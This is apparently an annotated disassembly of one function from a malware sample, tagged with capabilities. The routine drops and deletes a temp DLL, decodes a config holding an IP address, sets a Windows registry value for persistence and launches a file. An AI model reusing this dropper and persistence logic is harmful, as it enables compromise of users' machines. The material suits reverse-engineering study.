Function at 0x401e53
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.00409600
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.00409600
add esp, 0xc
lea eax, [ebp - 0x620]
push 0x200
push ebx
push eax
call fcn.00409600
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00405bb5
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402298
cmp dword [0x41bfc8], 1
mov esi, eax
jne 0x401f06
test esi, esi
je 0x402289
call fcn.004025f3
mov edi, eax
push 0x51
pop eax
mov word [ebp - 0x59c], ax
mov eax, 0x2b8e
mov dword [ebp - 0x620], 0x504d534d
mov word [ebp - 0x4fa], ax
mov ecx, ebx
movzx eax, word [ecx + 0x418890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401f2f
mov ecx, ebx
movzx eax, word [ecx + str.218.54.47.77]
mov word [ebp + ecx - 0x61c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401f48
mov ecx, ebx
movzx eax, word [ecx + str.AAAA]
mov word [ebp + ecx - 0x59a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401f61
push 5
pop eax
push 0x41bfec
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.00405b59
add esp, 0xc
test esi, esi
jne 0x401f9f
test edi, edi
je 0x402010
push 0x41c120
lea eax, [ebp - 0x59a]
push 0x10
push eax
call fcn.00405b59
add esp, 0xc
lea eax, [ebp - 0x61c]
push 0x41c0a0
push 0x40
push eax
call fcn.00405b59
add esp, 0xc
lea eax, [ebp - 0x57a]
push 0x41c018
push 0x40
push eax
call fcn.00405b59
mov ax, word [0x41c098]
mov word [ebp - 0x59c], ax
mov ax, word [0x41c010]
add esp, 0xc
mov word [ebp - 0x4fa], ax
mov eax, dword [0x41c00c]
push 5
test eax, eax
pop edi
cmove eax, edi
mov dword [ebp - 0x458], eax
jmp 0x402013
push 5
pop edi
mov ecx, 0x418890
lea eax, [ebp - 0x57a]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402044
test dx, dx
je 0x402040
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402044
add eax, 4
add ecx, 4
test dx, dx
jne 0x40201e
mov eax, ebx
jmp 0x402049
sbb eax, eax
or eax, 1
test eax, eax
je 0x40206c
mov dword [ebp - 0x458], edi
mov ecx, ebx
movzx eax, word [ecx + 0x418890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402055
cmp word [ebp - 0x61c], bx
je 0x402286
cmp word [ebp - 0x59c], bx
jbe 0x402286
mov esi, 0x41bfec
mov ecx, esi
mov dword [ebp - 0x620], 0x504d534d
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40209a
sub ecx, edx
sar ecx, 1
je 0x4020ce
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x4020ce
push esi
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.00405b59
add esp, 0xc
cmp word [ebp - 0x498], bx
jne 0x4020ed
push str.houtue
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.00405b59
add esp, 0xc
cmp word [ebp - 0x478], bx
jne 0x402139
push str.biudfw
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.00405b59
mov esi, 0x41bfcc
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x402116
sub ecx, edx
sar ecx, 1
je 0x402139
push esi
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.00405b59
add esp, 0xc
mov eax, dword [ebp - 0x458]
test eax, eax
cmove eax, edi
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], 0x10004a3
mov ecx, 0x80
lea esi, [ebp - 0x620]
lea edi, [ebp - 0x820]
lea eax, [ebp - 0x620]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [eax]
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0x504d534d
cmp eax, dword [ecx]
jne 0x402286
mov eax, ebx
not byte [ebp + eax - 0x820]
inc eax
cmp eax, 0x200
jb 0x402189
lea ecx, [ebp - 0x820]
call fcn.00401d96
test eax, eax
je 0x402286
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x478]
push eax
call fcn.004028b0
pop ecx
pop ecx
push 0x104
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
pop ecx
xor edx, edx
div ecx
lea eax, [ebp - 0x210]
push edx
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00403240
add esp, 0xc
lea eax, [ebp - 0x824]
push eax
push 3
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [ebp - 0x824], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40226f
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40222d
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push ebx
push 0x418a0c
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40226f
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push ebx
push 0x41884c
lea ecx, [ebp - 0x210]
push ecx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405a14
leave
ret